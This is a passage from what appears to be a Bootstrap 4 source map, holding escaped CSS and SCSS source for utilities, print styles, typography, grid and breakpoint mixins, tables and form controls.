#1d2124 !important;\n}\n\n.text-body {\n  color: #212529 !important;\n}\n\n.text-muted {\n  color: #6c757d !important;\n}\n\n.text-black-50 {\n  color: rgba(0, 0, 0, 0.5) !important;\n}\n\n.text-white-50 {\n  color: rgba(255, 255, 255, 0.5) !important;\n}\n\n.text-hide {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n\n.visible {\n  visibility: visible !important;\n}\n\n.invisible {\n  visibility: hidden !important;\n}\n\n@media print {\n  *,\n  *::before,\n  *::after {\n    text-shadow: none !important;\n    box-shadow: none !important;\n  }\n  a:not(.btn) {\n    text-decoration: underline;\n  }\n  abbr[title]::after {\n    content: \" (\" attr(title) \")\";\n  }\n  pre {\n    white-space: pre-wrap !important;\n  }\n  pre,\n  blockquote {\n    border: 1px solid #adb5bd;\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n  @page {\n    size: a3;\n  }\n  body {\n    min-width: 992px !important;\n  }\n  .container {\n    min-width: 992px !important;\n  }\n  .navbar {\n    display: none;\n  }\n  .badge {\n    border: 1px solid #000;\n  }\n  .table {\n    border-collapse: collapse !important;\n  }\n  .table td,\n  .table th {\n    background-color: #fff !important;\n  }\n  .table-bordered th,\n  .table-bordered td {\n    border: 1px solid #dee2e6 !important;\n  }\n}\n\n/*# sourceMappingURL=bootstrap.css.map */","// Hover mixin and `$enable-hover-media-query` are deprecated.\n//\n// Origally added during our alphas and maintained during betas, this mixin was\n// designed to prevent `:hover` stickiness on iOS-an issue where hover styles\n// would persist after initial touch.\n//\n// For backward compatibility, we've kept these mixins and updated them to\n// always return their regular psuedo-classes instead of a shimmed media query.\n//\n// Issue: https://github.com/twbs/bootstrap/issues/25195\n\n@mixin hover {\n  &:hover { @content; }\n}\n\n@mixin hover-focus {\n  &:hover,\n  &:focus {\n    @content;\n  }\n}\n\n@mixin plain-hover-focus {\n  &,\n  &:hover,\n  &:focus {\n    @content;\n  }\n}\n\n@mixin hover-focus-active {\n  &:hover,\n  &:focus,\n  &:active {\n    @content;\n  }\n}\n","// stylelint-disable declaration-no-important, selector-list-comma-newline-after\n\n//\n// Headings\n//\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n  margin-bottom: $headings-margin-bottom;\n  font-family: $headings-font-family;\n  font-weight: $headings-font-weight;\n  line-height: $headings-line-height;\n  color: $headings-color;\n}\n\nh1, .h1 { font-size: $h1-font-size; }\nh2, .h2 { font-size: $h2-font-size; }\nh3, .h3 { font-size: $h3-font-size; }\nh4, .h4 { font-size: $h4-font-size; }\nh5, .h5 { font-size: $h5-font-size; }\nh6, .h6 { font-size: $h6-font-size; }\n\n.lead {\n  font-size: $lead-font-size;\n  font-weight: $lead-font-weight;\n}\n\n// Type display classes\n.display-1 {\n  font-size: $display1-size;\n  font-weight: $display1-weight;\n  line-height: $display-line-height;\n}\n.display-2 {\n  font-size: $display2-size;\n  font-weight: $display2-weight;\n  line-height: $display-line-height;\n}\n.display-3 {\n  font-size: $display3-size;\n  font-weight: $display3-weight;\n  line-height: $display-line-height;\n}\n.display-4 {\n  font-size: $display4-size;\n  font-weight: $display4-weight;\n  line-height: $display-line-height;\n}\n\n\n//\n// Horizontal rules\n//\n\nhr {\n  margin-top: $hr-margin-y;\n  margin-bottom: $hr-margin-y;\n  border: 0;\n  border-top: $hr-border-width solid $hr-border-color;\n}\n\n\n//\n// Emphasis\n//\n\nsmall,\n.small {\n  font-size: $small-font-size;\n  font-weight: $font-weight-normal;\n}\n\nmark,\n.mark {\n  padding: $mark-padding;\n  background-color: $mark-bg;\n}\n\n\n//\n// Lists\n//\n\n.list-unstyled {\n  @include list-unstyled;\n}\n\n// Inline turns list items into inline-block\n.list-inline {\n  @include list-unstyled;\n}\n.list-inline-item {\n  display: inline-block;\n\n  &:not(:last-child) {\n    margin-right: $list-inline-padding;\n  }\n}\n\n\n//\n// Misc\n//\n\n// Builds on `abbr`\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\n\n// Blockquotes\n.blockquote {\n  margin-bottom: $spacer;\n  font-size: $blockquote-font-size;\n}\n\n.blockquote-footer {\n  display: block;\n  font-size: 80%; // back to default font-size\n  color: $blockquote-small-color;\n\n  &::before {\n    content: \"\\2014 \\00A0\"; // em dash, nbsp\n  }\n}\n","// Lists\n\n// Unstyled keeps list items block level, just removes default browser padding and list-style\n@mixin list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n","// Responsive images (ensure images don't scale beyond their parents)\n//\n// This is purposefully opt-in via an explicit class rather than being the default for all `<img>`s.\n// We previously tried the \"images are responsive by default\" approach in Bootstrap v2,\n// and abandoned it in Bootstrap v3 because it breaks lots of third-party widgets (including Google Maps)\n// which weren't expecting the images within themselves to be involuntarily resized.\n// See also https://github.com/twbs/bootstrap/issues/18178\n.img-fluid {\n  @include img-fluid;\n}\n\n\n// Image thumbnails\n.img-thumbnail {\n  padding: $thumbnail-padding;\n  background-color: $thumbnail-bg;\n  border: $thumbnail-border-width solid $thumbnail-border-color;\n  @include border-radius($thumbnail-border-radius);\n  @include box-shadow($thumbnail-box-shadow);\n\n  // Keep them at most 100% wide\n  @include img-fluid;\n}\n\n//\n// Figures\n//\n\n.figure {\n  // Ensures the caption's text aligns with the image.\n  display: inline-block;\n}\n\n.figure-img {\n  margin-bottom: ($spacer / 2);\n  line-height: 1;\n}\n\n.figure-caption {\n  font-size: $figure-caption-font-size;\n  color: $figure-caption-color;\n}\n","// Image Mixins\n// - Responsive image\n// - Retina image\n\n\n// Responsive image\n//\n// Keep images from scaling beyond the width of their parents.\n\n@mixin img-fluid {\n  // Part 1: Set a maximum relative to the parent\n  max-width: 100%;\n  // Part 2: Override the height to auto, otherwise images will be stretched\n  // when setting a width and height attribute on the img element.\n  height: auto;\n}\n\n\n// Retina image\n//\n// Short retina mixin for setting background-image and -size.\n\n// stylelint-disable indentation, media-query-list-comma-newline-after\n@mixin img-retina($file-1x, $file-2x, $width-1x, $height-1x) {\n  background-image: url($file-1x);\n\n  // Autoprefixer takes care of adding -webkit-min-device-pixel-ratio and -o-min-device-pixel-ratio,\n  // but doesn't convert dppx=>dpi.\n  // There's no such thing as unprefixed min-device-pixel-ratio since it's nonstandard.\n  // Compatibility info: https://caniuse.com/#feat=css-media-resolution\n  @media only screen and (min-resolution: 192dpi), // IE9-11 don't support dppx\n  only screen and (min-resolution: 2dppx) { // Standardized\n    background-image: url($file-2x);\n    background-size: $width-1x $height-1x;\n  }\n}\n","// Single side border-radius\n\n@mixin border-radius($radius: $border-radius) {\n  @if $enable-rounded {\n    border-radius: $radius;\n  }\n}\n\n@mixin border-top-radius($radius) {\n  @if $enable-rounded {\n    border-top-left-radius: $radius;\n    border-top-right-radius: $radius;\n  }\n}\n\n@mixin border-right-radius($radius) {\n  @if $enable-rounded {\n    border-top-right-radius: $radius;\n    border-bottom-right-radius: $radius;\n  }\n}\n\n@mixin border-bottom-radius($radius) {\n  @if $enable-rounded {\n    border-bottom-right-radius: $radius;\n    border-bottom-left-radius: $radius;\n  }\n}\n\n@mixin border-left-radius($radius) {\n  @if $enable-rounded {\n    border-top-left-radius: $radius;\n    border-bottom-left-radius: $radius;\n  }\n}\n","// Inline and block code styles\ncode,\nkbd,\npre,\nsamp {\n  font-family: $font-family-monospace;\n}\n\n// Inline code\ncode {\n  font-size: $code-font-size;\n  color: $code-color;\n  word-break: break-word;\n\n  // Streamline the style when inside anchors to avoid broken underline and more\n  a > & {\n    color: inherit;\n  }\n}\n\n// User input typically entered via keyboard\nkbd {\n  padding: $kbd-padding-y $kbd-padding-x;\n  font-size: $kbd-font-size;\n  color: $kbd-color;\n  background-color: $kbd-bg;\n  @include border-radius($border-radius-sm);\n  @include box-shadow($kbd-box-shadow);\n\n  kbd {\n    padding: 0;\n    font-size: 100%;\n    font-weight: $nested-kbd-font-weight;\n    @include box-shadow(none);\n  }\n}\n\n// Blocks of code\npre {\n  display: block;\n  font-size: $code-font-size;\n  color: $pre-color;\n\n  // Account for some code outputs that place code tags in pre tags\n  code {\n    font-size: inherit;\n    color: inherit;\n    word-break: normal;\n  }\n}\n\n// Enable scrollable blocks of code\n.pre-scrollable {\n  max-height: $pre-scrollable-max-height;\n  overflow-y: scroll;\n}\n","// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n@if $enable-grid-classes {\n  .container {\n    @include make-container();\n    @include make-container-max-widths();\n  }\n}\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but with 100% width for\n// fluid, full width layouts.\n\n@if $enable-grid-classes {\n  .container-fluid {\n    @include make-container();\n  }\n}\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n@if $enable-grid-classes {\n  .row {\n    @include make-row();\n  }\n\n  // Remove the negative margin from default .row, then the horizontal padding\n  // from all immediate children columns (to prevent runaway style inheritance).\n  .no-gutters {\n    margin-right: 0;\n    margin-left: 0;\n\n    > .col,\n    > [class*=\"col-\"] {\n      padding-right: 0;\n      padding-left: 0;\n    }\n  }\n}\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n@if $enable-grid-classes {\n  @include make-grid-columns();\n}\n","/// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n@mixin make-container() {\n  width: 100%;\n  padding-right: ($grid-gutter-width / 2);\n  padding-left: ($grid-gutter-width / 2);\n  margin-right: auto;\n  margin-left: auto;\n}\n\n\n// For each breakpoint, define the maximum width of the container in a media query\n@mixin make-container-max-widths($max-widths: $container-max-widths, $breakpoints: $grid-breakpoints) {\n  @each $breakpoint, $container-max-width in $max-widths {\n    @include media-breakpoint-up($breakpoint, $breakpoints) {\n      max-width: $container-max-width;\n    }\n  }\n}\n\n@mixin make-row() {\n  display: flex;\n  flex-wrap: wrap;\n  margin-right: ($grid-gutter-width / -2);\n  margin-left: ($grid-gutter-width / -2);\n}\n\n@mixin make-col-ready() {\n  position: relative;\n  // Prevent columns from becoming too narrow when at smaller grid tiers by\n  // always setting `width: 100%;`. This works because we use `flex` values\n  // later on to override this initial width.\n  width: 100%;\n  min-height: 1px; // Prevent collapsing\n  padding-right: ($grid-gutter-width / 2);\n  padding-left: ($grid-gutter-width / 2);\n}\n\n@mixin make-col($size, $columns: $grid-columns) {\n  flex: 0 0 percentage($size / $columns);\n  // Add a `max-width` to ensure content within each column does not blow out\n  // the width of the column. Applies to IE10+ and Firefox. Chrome and Safari\n  // do not appear to require this.\n  max-width: percentage($size / $columns);\n}\n\n@mixin make-col-offset($size, $columns: $grid-columns) {\n  $num: $size / $columns;\n  margin-left: if($num == 0, 0, percentage($num));\n}\n","// Breakpoint viewport sizes and media queries.\n//\n// Breakpoints are defined as a map of (name: minimum width), order from small to large:\n//\n//    (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px)\n//\n// The map defined in the `$grid-breakpoints` global variable is used as the `$breakpoints` argument by default.\n\n// Name of the next breakpoint, or null for the last breakpoint.\n//\n//    >> breakpoint-next(sm)\n//    md\n//    >> breakpoint-next(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    md\n//    >> breakpoint-next(sm, $breakpoint-names: (xs sm md lg xl))\n//    md\n@function breakpoint-next($name, $breakpoints: $grid-breakpoints, $breakpoint-names: map-keys($breakpoints)) {\n  $n: index($breakpoint-names, $name);\n  @return if($n < length($breakpoint-names), nth($breakpoint-names, $n + 1), null);\n}\n\n// Minimum breakpoint width. Null for the smallest (first) breakpoint.\n//\n//    >> breakpoint-min(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    576px\n@function breakpoint-min($name, $breakpoints: $grid-breakpoints) {\n  $min: map-get($breakpoints, $name);\n  @return if($min != 0, $min, null);\n}\n\n// Maximum breakpoint width. Null for the largest (last) breakpoint.\n// The maximum value is calculated as the minimum of the next one less 0.02px\n// to work around the limitations of `min-` and `max-` prefixes and viewports with fractional widths.\n// See https://www.w3.org/TR/mediaqueries-4/#mq-min-max\n// Uses 0.02px rather than 0.01px to work around a current rounding bug in Safari.\n// See https://bugs.webkit.org/show_bug.cgi?id=178261\n//\n//    >> breakpoint-max(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    767.98px\n@function breakpoint-max($name, $breakpoints: $grid-breakpoints) {\n  $next: breakpoint-next($name, $breakpoints);\n  @return if($next, breakpoint-min($next, $breakpoints) - .02px, null);\n}\n\n// Returns a blank string if smallest breakpoint, otherwise returns the name with a dash infront.\n// Useful for making responsive utilities.\n//\n//    >> breakpoint-infix(xs, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    \"\"  (Returns a blank string)\n//    >> breakpoint-infix(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    \"-sm\"\n@function breakpoint-infix($name, $breakpoints: $grid-breakpoints) {\n  @return if(breakpoint-min($name, $breakpoints) == null, \"\", \"-#{$name}\");\n}\n\n// Media of at least the minimum breakpoint width. No query for the smallest breakpoint.\n// Makes the @content apply to the given breakpoint and wider.\n@mixin media-breakpoint-up($name, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($name, $breakpoints);\n  @if $min {\n    @media (min-width: $min) {\n      @content;\n    }\n  } @else {\n    @content;\n  }\n}\n\n// Media of at most the maximum breakpoint width. No query for the largest breakpoint.\n// Makes the @content apply to the given breakpoint and narrower.\n@mixin media-breakpoint-down($name, $breakpoints: $grid-breakpoints) {\n  $max: breakpoint-max($name, $breakpoints);\n  @if $max {\n    @media (max-width: $max) {\n      @content;\n    }\n  } @else {\n    @content;\n  }\n}\n\n// Media that spans multiple breakpoint widths.\n// Makes the @content apply between the min and max breakpoints\n@mixin media-breakpoint-between($lower, $upper, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($lower, $breakpoints);\n  $max: breakpoint-max($upper, $breakpoints);\n\n  @if $min != null and $max != null {\n    @media (min-width: $min) and (max-width: $max) {\n      @content;\n    }\n  } @else if $max == null {\n    @include media-breakpoint-up($lower, $breakpoints) {\n      @content;\n    }\n  } @else if $min == null {\n    @include media-breakpoint-down($upper, $breakpoints) {\n      @content;\n    }\n  }\n}\n\n// Media between the breakpoint's minimum and maximum widths.\n// No minimum for the smallest breakpoint, and no maximum for the largest one.\n// Makes the @content apply only to the given breakpoint, not viewports any wider or narrower.\n@mixin media-breakpoint-only($name, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($name, $breakpoints);\n  $max: breakpoint-max($name, $breakpoints);\n\n  @if $min != null and $max != null {\n    @media (min-width: $min) and (max-width: $max) {\n      @content;\n    }\n  } @else if $max == null {\n    @include media-breakpoint-up($name, $breakpoints) {\n      @content;\n    }\n  } @else if $min == null {\n    @include media-breakpoint-down($name, $breakpoints) {\n      @content;\n    }\n  }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `$grid-columns`.\n\n@mixin make-grid-columns($columns: $grid-columns, $gutter: $grid-gutter-width, $breakpoints: $grid-breakpoints) {\n  // Common properties for all breakpoints\n  %grid-column {\n    position: relative;\n    width: 100%;\n    min-height: 1px; // Prevent columns from collapsing when empty\n    padding-right: ($gutter / 2);\n    padding-left: ($gutter / 2);\n  }\n\n  @each $breakpoint in map-keys($breakpoints) {\n    $infix: breakpoint-infix($breakpoint, $breakpoints);\n\n    // Allow columns to stretch full width below their breakpoints\n    @for $i from 1 through $columns {\n      .col#{$infix}-#{$i} {\n        @extend %grid-column;\n      }\n    }\n    .col#{$infix},\n    .col#{$infix}-auto {\n      @extend %grid-column;\n    }\n\n    @include media-breakpoint-up($breakpoint, $breakpoints) {\n      // Provide basic `.col-{bp}` classes for equal-width flexbox columns\n      .col#{$infix} {\n        flex-basis: 0;\n        flex-grow: 1;\n        max-width: 100%;\n      }\n      .col#{$infix}-auto {\n        flex: 0 0 auto;\n        width: auto;\n        max-width: none; // Reset earlier grid tiers\n      }\n\n      @for $i from 1 through $columns {\n        .col#{$infix}-#{$i} {\n          @include make-col($i, $columns);\n        }\n      }\n\n      .order#{$infix}-first { order: -1; }\n\n      .order#{$infix}-last { order: $columns + 1; }\n\n      @for $i from 0 through $columns {\n        .order#{$infix}-#{$i} { order: $i; }\n      }\n\n      // `$columns - 1` because offsetting by the width of an entire row isn't possible\n      @for $i from 0 through ($columns - 1) {\n        @if not ($infix == \"\" and $i == 0) { // Avoid emitting useless .offset-0\n          .offset#{$infix}-#{$i} {\n            @include make-col-offset($i, $columns);\n          }\n        }\n      }\n    }\n  }\n}\n","//\n// Basic Bootstrap table\n//\n\n.table {\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: $spacer;\n  background-color: $table-bg; // Reset for nesting within parents with `background-color`.\n\n  th,\n  td {\n    padding: $table-cell-padding;\n    vertical-align: top;\n    border-top: $table-border-width solid $table-border-color;\n  }\n\n  thead th {\n    vertical-align: bottom;\n    border-bottom: (2 * $table-border-width) solid $table-border-color;\n  }\n\n  tbody + tbody {\n    border-top: (2 * $table-border-width) solid $table-border-color;\n  }\n\n  .table {\n    background-color: $body-bg;\n  }\n}\n\n\n//\n// Condensed table w/ half padding\n//\n\n.table-sm {\n  th,\n  td {\n    padding: $table-cell-padding-sm;\n  }\n}\n\n\n// Border versions\n//\n// Add or remove borders all around the table and between all the columns.\n\n.table-bordered {\n  border: $table-border-width solid $table-border-color;\n\n  th,\n  td {\n    border: $table-border-width solid $table-border-color;\n  }\n\n  thead {\n    th,\n    td {\n      border-bottom-width: (2 * $table-border-width);\n    }\n  }\n}\n\n.table-borderless {\n  th,\n  td,\n  thead th,\n  tbody + tbody {\n    border: 0;\n  }\n}\n\n// Zebra-striping\n//\n// Default zebra-stripe styles (alternating gray and transparent backgrounds)\n\n.table-striped {\n  tbody tr:nth-of-type(#{$table-striped-order}) {\n    background-color: $table-accent-bg;\n  }\n}\n\n\n// Hover effect\n//\n// Placed here since it has to come after the potential zebra striping\n\n.table-hover {\n  tbody tr {\n    @include hover {\n      background-color: $table-hover-bg;\n    }\n  }\n}\n\n\n// Table backgrounds\n//\n// Exact selectors below required to override `.table-striped` and prevent\n// inheritance to nested tables.\n\n@each $color, $value in $theme-colors {\n  @include table-row-variant($color, theme-color-level($color, -9));\n}\n\n@include table-row-variant(active, $table-active-bg);\n\n\n// Dark styles\n//\n// Same table markup, but inverted color scheme: dark background and light text.\n\n// stylelint-disable-next-line no-duplicate-selectors\n.table {\n  .thead-dark {\n    th {\n      color: $table-dark-color;\n      background-color: $table-dark-bg;\n      border-color: $table-dark-border-color;\n    }\n  }\n\n  .thead-light {\n    th {\n      color: $table-head-color;\n      background-color: $table-head-bg;\n      border-color: $table-border-color;\n    }\n  }\n}\n\n.table-dark {\n  color: $table-dark-color;\n  background-color: $table-dark-bg;\n\n  th,\n  td,\n  thead th {\n    border-color: $table-dark-border-color;\n  }\n\n  &.table-bordered {\n    border: 0;\n  }\n\n  &.table-striped {\n    tbody tr:nth-of-type(odd) {\n      background-color: $table-dark-accent-bg;\n    }\n  }\n\n  &.table-hover {\n    tbody tr {\n      @include hover {\n        background-color: $table-dark-hover-bg;\n      }\n    }\n  }\n}\n\n\n// Responsive tables\n//\n// Generate series of `.table-responsive-*` classes for configuring the screen\n// size of where your table will overflow.\n\n.table-responsive {\n  @each $breakpoint in map-keys($grid-breakpoints) {\n    $next: breakpoint-next($breakpoint, $grid-breakpoints);\n    $infix: breakpoint-infix($next, $grid-breakpoints);\n\n    &#{$infix} {\n      @include media-breakpoint-down($breakpoint) {\n        display: block;\n        width: 100%;\n        overflow-x: auto;\n        -webkit-overflow-scrolling: touch;\n        -ms-overflow-style: -ms-autohiding-scrollbar; // See https://github.com/twbs/bootstrap/pull/10057\n\n        // Prevent double border on horizontal scroll due to use of `display: block;`\n        > .table-bordered {\n          border: 0;\n        }\n      }\n    }\n  }\n}\n","// Tables\n\n@mixin table-row-variant($state, $background) {\n  // Exact selectors below required to override `.table-striped` and prevent\n  // inheritance to nested tables.\n  .table-#{$state} {\n    &,\n    > th,\n    > td {\n      background-color: $background;\n    }\n  }\n\n  // Hover states for `.table-hover`\n  // Note: this is not available for cells or rows within `thead` or `tfoot`.\n  .table-hover {\n    $hover-background: darken($background, 5%);\n\n    .table-#{$state} {\n      @include hover {\n        background-color: $hover-background;\n\n        > td,\n        > th {\n          background-color: $hover-background;\n        }\n      }\n    }\n  }\n}\n","// Bootstrap functions\n//\n// Utility mixins and functions for evalutating source code across our variables, maps, and mixins.\n\n// Ascending\n// Used to evaluate Sass maps like our grid breakpoints.\n@mixin _assert-ascending($map, $map-name) {\n  $prev-key: null;\n  $prev-num: null;\n  @each $key, $num in $map {\n    @if $prev-num == null {\n      // Do nothing\n    } @else if not comparable($prev-num, $num) {\n      @warn \"Potentially invalid value for #{$map-name}: This map must be in ascending order, but key '#{$key}' has value #{$num} whose unit makes it incomparable to #{$prev-num}, the value of the previous key '#{$prev-key}' !\";\n    } @else if $prev-num >= $num {\n      @warn \"Invalid value for #{$map-name}: This map must be in ascending order, but key '#{$key}' has value #{$num} which isn't greater than #{$prev-num}, the value of the previous key '#{$prev-key}' !\";\n    }\n    $prev-key: $key;\n    $prev-num: $num;\n  }\n}\n\n// Starts at zero\n// Another grid mixin that ensures the min-width of the lowest breakpoint starts at 0.\n@mixin _assert-starts-at-zero($map) {\n  $values: map-values($map);\n  $first-value: nth($values, 1);\n  @if $first-value != 0 {\n    @warn \"First breakpoint in `$grid-breakpoints` must start at 0, but starts at #{$first-value}.\";\n  }\n}\n\n// Replace `$search` with `$replace` in `$string`\n// Used on our SVG icon backgrounds for custom forms.\n//\n// @author Hugo Giraudel\n// @param {String} $string - Initial string\n// @param {String} $search - Substring to replace\n// @param {String} $replace ('') - New value\n// @return {String} - Updated string\n@function str-replace($string, $search, $replace: \"\") {\n  $index: str-index($string, $search);\n\n  @if $index {\n    @return str-slice($string, 1, $index - 1) + $replace + str-replace(str-slice($string, $index + str-length($search)), $search, $replace);\n  }\n\n  @return $string;\n}\n\n// Color contrast\n@function color-yiq($color) {\n  $r: red($color);\n  $g: green($color);\n  $b: blue($color);\n\n  $yiq: (($r * 299) + ($g * 587) + ($b * 114)) / 1000;\n\n  @if ($yiq >= $yiq-contrasted-threshold) {\n    @return $yiq-text-dark;\n  } @else {\n    @return $yiq-text-light;\n  }\n}\n\n// Retrieve color Sass maps\n@function color($key: \"blue\") {\n  @return map-get($colors, $key);\n}\n\n@function theme-color($key: \"primary\") {\n  @return map-get($theme-colors, $key);\n}\n\n@function gray($key: \"100\") {\n  @return map-get($grays, $key);\n}\n\n// Request a theme color level\n@function theme-color-level($color-name: \"primary\", $level: 0) {\n  $color: theme-color($color-name);\n  $color-base: if($level > 0, $black, $white);\n  $level: abs($level);\n\n  @return mix($color-base, $color, $level * $theme-color-interval);\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Textual form controls\n//\n\n.form-control {\n  display: block;\n  width: 100%;\n  padding: $input-padding-y $input-padding-x;\n  font-size: $font-size-base;\n  line-height: $input-line-height;\n  color: $input-color;\n  background-color: $input-bg;\n  background-clip: padding-box;\n  border: $input-border-width solid $input-border-color;\n\n  // Note: This has no effect on <select>s in some browsers, due to the limited stylability of `<select>`s in CSS.\n  @if $enable-rounded {\n    // Manually use the if/else instead of the mixin to account for iOS override\n    border-radius: $input-border-radius;\n  } @else {\n    // Otherwise undo the iOS default\n    border-radius: 0;\n  }\n\n  @include box-shadow($input-box-shadow);\n  @include transition($input-transition);\n\n  // Unstyle the caret on `<select>`s in IE10+.\n  &::-ms-expand {\n    background-color: transparent;\n    border: 0;\n  }\n\n  // Customize the `:focus` state to imitate native WebKit styles.\n  @include form-control-focus();\n\n  // Placeholder\n  &::placeholder {\n    color: $input-placeholder-color;\n    // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526.\n    opacity: 1;\n  }\n\n  // Disabled and read-only inputs\n  //\n  // HTML5 says that controls under a fieldset > legend:first-child won't be\n  // disabled if the fieldset is disabled. Due to implementation difficulty, we\n  // don't honor that edge case; we style them as disabled anyway.\n  &:disabled,\n  &[readonly] {\n    background-color: $input-disabled-bg;\n    // iOS fix for unreadable disabled content; see https://github.com/twbs/bootstrap/issues/11655.\n    opacity: 1;\n  }\n}\n\nselect.form-control {\n  &:not([size]):not([multiple]) {\n    height: $input-height;\n  }\n\n  &:focus::-ms-value {\n    // Suppress the nested default white text on blue background highlight given to\n    // the selected option text when the (still closed) <select> receives focus\n    // in IE and (under certain conditions) Edge, as it looks bad and cannot be made to\n    // match the appearance of the native widget.\n    // See https://github.com/twbs/bootstrap/issues/19398.\n    color: $input-color;\n    background-color: $input-bg;\n  }\n}\n\n// Make file inputs better match text inputs by forcing them to new lines.\n.form-control-file,\n.form-control-range {\n  display: block;\n  width: 100%;\n}\n\n\n//\n// Labels\n//\n\n// For use with horizontal and inline forms, when you need the label (or legend)\n// text to align with the form controls.\n.col-form-label {\n  padding-top: calc(#{$input-padding-y} + #{$input-border-width});\n  padding-bottom: calc(#{$input-padding-y} + #{$input-border-width});\n  margin-bottom: 0; // Override the `<label>/<legend>` default\n  font-size: inherit; // Override the `<legend>` default\n  line-height: $input-line-height;\n}\n\n.col-form-label-lg {\n  padding-top: calc(#{$input-padding-y-lg} + #{$input-border-width});\n  padding-bottom: calc(#{$input-padding-y-lg} + #{$input-border-width});\n  font-size: $font-size-lg;\n  line-height: $input-line-height-lg;\n}\n\n.col-form-label-sm {\n  padding-top: calc(#{$input-padding-y-sm} + #{$input-border-width});\n  padding-bottom: calc(#{$input-padding-y-sm} + #{$input-border-width});\n  font-size: $font-size-sm;\n  line-height: $input-line-height-sm;\n}\n\n\n// Readonly controls as plain text\n//\n// Apply class to a readonly input to make it appear like regular plain\n// text (without any border, background color, focus indicator)\n\n.form-control-plaintext {\n  display: block;\n  width: 100%;\n  padding-top: $input-padding-y;\n  padding-bottom: $input-padding-y;\n  margin-bottom: 0; // match inputs if this class comes on inputs with default margins\n  line-height: $input-line-height;\n  color: $input-plaintext-color;\n  background-color: transparent;\n  border: solid transparent;\n  border-width: $input-border-width 0;\n\n  &.form-control-sm,\n  &.form-control-lg {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n\n// Form control sizing\n//\n// Build on `.form-control` with modifier classes to decrease or increase the\n// height and font-size of form controls.\n//\n// The `.form-group-* form-control` variations are sadly duplicated to avoid the\n// issue documented in https://github.com/twbs/bootstrap/issues/15074.\n\n.form-control-sm {\n  padding: $input-padding-y-sm $input-padding-x-sm;\n  font-size: $font-size-sm;\n  line-height: $input-line-height-sm;\n  @include border-radius($input-border-radius-sm);\n}\n\nselect.form-control-sm {\n  &:not([size]):not([multiple]) {\n    height: $input-height-sm;\n  }\n}\n\n.form-control-lg {\n  padding: $input-padding-y-lg $input-padding-x-lg;\n  font-size: $font-size-lg;\n  line-height: $input-line-height-lg;\n  @include border-radius($input-border-radius-lg);\n}\n\nselect.form-control-lg {\n  &:not([size]):not([multiple]) {\n    height: $input-height-lg;\n  }\n}\n\n\n// Form groups\n//\n// Designed to help with the organization and spacing of vertical forms. For\n// horizontal forms, use the predefined grid classes.\n\n.form-group {\n  margin-bottom: $form-group-margin-bottom;\n}\n\n.form-text {\n  display: block;\n  margin-top: $form-text-margin-top;\n}\n\n\n// Form grid\n//\n// Special replacement for our grid system's `.row` for tighter form layouts.\n\n.form-row {\n  display: flex;\n  flex-wrap: wrap;\n  margin-right: -5px;\n  margin-left: -5px;\n\n  > .col,\n  > [class*=\"col-\"] {\n    padding-right: 5px;\n    padding-left: 5px;\n  }\n}\n\n\n// Checkboxes and radios\n//\n// Indent the labels to position radios/checkboxes as hanging controls.\n\n.form-check {\n  position: relative;\n  display: block;\n  padding-left: $form-check-input-gutter;\n}\n\n.form-check-input {\n  position: absolute;\n  margin-top: $form-check-input-margin-y;\n  margin-left: -$form-check-input-gutter;\n\n  &:disabled ~ .form-check-label {\n    color: $text-muted;\n  }\n}\n\n.form-check-label {\n  margin-bottom: 0; // Override default `<label>` bottom margin\n}\n\n.form-check-inline {\n  display: inline-flex;\n  align-items: center;\n  padding-left: 0; // Override base .form-check\n  margin-right: $form-check-inline-margin-x;\n\n  // Undo .form-check-input defaults and add some `margin-right`.\n  .form-check-input {\n    position: static;\n    margin-top: 0;\n    margin-right: $form-check-inline-input-margin-x;\n    margin-left: 0;\n  }\n}\n\n\n// Form validation\n//\n// Provide feedback to users when form field values are valid or invalid. Works\n// primarily for client-side validation via scoped `:invalid` and `:valid`\n// pseudo-classes but also includes `.is-invalid` and `.is-valid` classes for\n// server side validation.\n\n@include form-validation-state(\"valid\", $form-feedback-valid-color);\n@include form-validation-state(\"invalid\", $form-feedback-invalid-color);\n\n// Inline forms\n//\n// Make forms appear inline(-block) by adding the `.form-inline` class. Inline\n// forms begin stacked on extra small (mobile) devices and then go inline when\n// viewports reach <768px.\n//\n// Requires wrapping inputs and labels with `.form-group` for proper display of\n// default HTML form controls and our custom form controls (e.g., input groups).\n\n.form-inline {\n  display: flex;\n  flex-flow: row wrap;\n  align-items: center; // Prevent shorter elements from growing to same height as others (e.g., small buttons growing to normal sized button height)\n\n  // Because we use flex, the initial sizing of checkboxes is collapsed and\n  // doesn't occupy the full-width (which is what we want for xs grid tier),\n  // so we force that here.\n  .form-check {\n    width: 100%;\n  }\n\n  // Kick in the inline\n  @include media-breakpoint-up(sm) {\n    label {\n      display: flex;\n      align-items: center;\n      justify-content: center;\n      margin-bottom: 0;\n    